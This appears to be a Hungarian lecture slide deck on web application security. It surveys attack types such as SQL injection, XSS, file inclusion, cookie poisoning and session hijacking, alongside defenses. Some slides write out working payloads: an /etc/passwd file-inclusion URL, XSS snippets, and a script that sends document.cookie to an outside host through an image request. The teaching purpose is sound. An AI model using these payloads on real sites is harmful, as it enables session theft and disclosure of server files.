Weboldalak Biztonsági Kérdései
Kliens szerver modellek
Kliens szerver modellek
Offline világ Online világ és a programokkal
szemben támasztott elvárások helyett.... Fejlesztés üteme gyors Előregyártott elemek használata ismert hibákat eredményez az alkalmazásban
Támadási formák SQL Injection
XSS - Cross Site Scripting (Perzisztens és nem perzisztens)
CSRF - Cross-Site Request Forgeries
Smuggling (SQL Smuggling, XSS Smuggling, stb.)
HTTP header injection
SQL Column Truncation (MySql max_packet_size 1M)
LFI és RFI (Locale és Remote File Include )
DoS, DDoS (Denial of Service, Distributed Denial of Service)
Brute Force (viharszerű támadások)
Social Engineering/Aranymosás
Aranymosás
Információ gyűjtése a weblapról
HTML beágyazott megjegyzések
HTML kódban elhelyezett adatok
Szerver oldali hibaüzenetek
Hibás bemenetek ellenőrzése
Alkalmazás hibaüzenetei
Alkalmazások
Webturkálók
BlackWindow
Wget
WebProxi programok IEHTTPHeaders, Paros
● Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat
● Hasznosak az URL-be ágyazott jelek utáni adatok &?...
Hibás adatbázis kapcsolatok
Beviteli mezők tesztelése
Hibajelzések összehasonlítása
Helyes user-név kitalálása
Jelszó adatok felfedése
Adatbázisok
Amit lehet, bízzunk az adatbázis motorra
Ellenőrzések: triggerek használata
Jogosultságok, hozzáférések használata
Lekérdezések: tárolt eljárások, view-k használata.
Lekérdezések számának csökkentése: join használata.
Megfelelő adattípusok használata.
A jelszót ne tároljuk kódolatlanul (md5, crypt, ...)
Fájlok és könyvtárak felfedése
Fájlok neveinek kitalálása régebbi, vagy publikus adatokból:pl.: fizetesek2009.php → fizetesek2010.php
Idefens Session ID Auditor
”Rész-webhelyek” megtalálása
URL átugrás begépelt látogatott URL megjegyzése...
Mintaalkalmazások CMS?
Webmotorok hibáinak kihasználása:
● Közösségi portálok látogatása● Hiba felderítése fórumokon, stb...
Védekezés módja:● Közösségi portálok látogatása...● Hiba felderítése fórumokon, stb...
Mintaalkalmazások CMS?
Védekezés
A szerver konfigurációjában letiltjuk az egyéb fájlok futtatását
.htaccess
AuthName ”admin pages”
AuthType Basic
AuthUserFile /path/path/.htpasswd
Require valid-user
Majd a htpasswd segítségével user előállításal
#htpasswd -cm .htpasswd username
Korlátozások felüldefiniálása
(1) Beviteli mezők (kliens oldalon) átírása
Bevihető karakterek száma MAXLENGTH = E
– Vezérlők azonosítása
(2) Vezérlő felüldefiniálás
(3) Elküldött adatok módosításával
A lenyíló listák rendezéskor, filtereknél -
- módosulnak, ezek figyelhetőek (Paros)
- módosíthatjuk pl az adatokat menet közben.
Állapot alapú támadás
Session, adattárolás a programban szerver oldalon adatbázisban, vagy URL/Session-ben
Sajátos állapotnélküliség a weben.
A tárolásról a programozó gondoskodik.
Az adatokat az oldalak közt át kell adni pl.: űrlap, URL
Alkalmazások
Webturkálók
BlackWindow
Wget
WebProxi programok IEHTTPHeaders, Paros
● Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat
● Hasznosak az URL-be ágyazott jelek utáni adatok &?...
Rejtett mezők felfedése
Input type hidden...
GET, POST, FILES tömbök a session-ben
<input type=hidden name=id value=1223>
Forrás vizsgálatával, vagy böngésző
Dokumentobject modelljének vizsgálatával felderíthető
PL ár, érték, stb mezők módosítása lehetségessé válik
Korlátozások felüldefiniálása
(1) Beviteli mezők (kliens oldalon) átírása
Bevihető karakterek száma MAXLENGTH = E
– Vezérlők azonosítása
(2) Vezérlő felüldefiniálás
(3) Elküldött adatok módosításával
A lenyíló listák rendezéskor, filtereknél -
- módosulnak, ezek figyelhetőek (Paros)
- módosíthatjuk pl az adatokat menet közben.
CGI paraméterek
http://szerver.oldal.hu/index.php?d=12&oldal=a.tst
index.php?oldal=egy.php
átírva
index.php?oldal=/etc/passwd
include „$oldal”;...
include $_GET[”oldal”];...
Védekezés: GET helyett ha lehet POST, valamint ellenőrizzük az adatokat a szerver oldalon is.
Sütimérgezés
Persistent sütik (állandó)
Nonpersistent (nem megmaradó)
Secure (biztonsági)
Nonsecure (nem biztonsági)
Secure nem a süti, hanem a böngésző üzemmódja a süti hatására:HTTPS HTTP SSL
A süti egy idő után elévül...
Sütik
Helyük Firefox vagy Netscape esetén:
cookies.txt
A cookie átírásával meg lehet oldani, hogy az egyes oldalakat átugorva pl a fizetést kihagyva az áru átvételéhez ugorjunk...
Szükséges a webalkalmazás ismerete...
Oldaltérkép
Fájlinformáció
Alkalmazás/védelem Véletlenszerű, böngészési archívum begépelése (A sütiben tárolt sorrendinformáció kikerülése)
Védekezés:
Rejtett mezők, vagy CGI paraméterekben tároljuk
az URL-eket.
Sütik, melyek az utolső látogatott oldalt őrzik és jegyzik
HTTP-REFEERER mező és a kiindulási hely
összehasonlítása
Oldalak megtekintésének sorrendjét figyelni kell
Munkamenet eltérítése
Session hijacking
Ki kell cserélni a munkamenet azonosítót
Véletlenszerű módosítással
Sorozatok kitalálásával
Más userek azonosítójának elfogásával
Sokszor a munkamenet azonosítót sütiben tárolják...
Gyakori munkamenet nevek: ASPSESSIONID
JSESSIONID, PHPSESSID, CFID, CFTOKEN,...
CGI session azonosítók
url/?valami&sid=1212r124r5672516745
Elfogáshoz jó a webes levelzők feltörése. Session id-k kiolvasása a válaszlevelkből (nem titkosak, mivel csak a fizetésre szólítanak fel...)
Lényege, hogy más nevében (session-jével) operálunk a webhelyen...
Felhasználó adatainak támadásaIdegen parancsok végrehajtása cross site scripting
Webheky űrlap, vagy URL mezőjébe parancsfájlok, utasítások elrejtése
A felhasználó bejelentkezik, majd a saját jogaival lefutattja a parancsokat.
<script>alert(”XSS alert!”)</script>
<img src=javascript:alert(”XSS Alert!”)>
<script>alert(document.cookie)</script>
Minden elem sebezhető, mely támogatja a STYLE, SRC, OBJECT, TYPE mezőket...
Képek scripteléseKépet helyezünk el egy oldalon.
A kép egy másik webhelyre hivatkozik (hacker gépe)
Elhelyezünk benne egy 1x1-es átlátszó gifet.
Ezt a user nem veszi észre, de a szerveren, ahova a link mutat, megjelenik a munkamenet azonosítója hibaüzenetként a logban.
Erre lehet keresni a kép neve alapján...benne lesz az azonosítója
<script>document.write(”<img src=site.com/p.gif?cookie=”+document.cookie>”)</script>
Védekezés (miért nem)?Tájékozatlanság
Prioritások: biztonság, sebesség, határidő, költség, ...
Át kell gondolni a támadások lehetséges módjait
Az alapelveket be kell tartani
A helyes programozói gyakorlat sokat javít a biztonságon.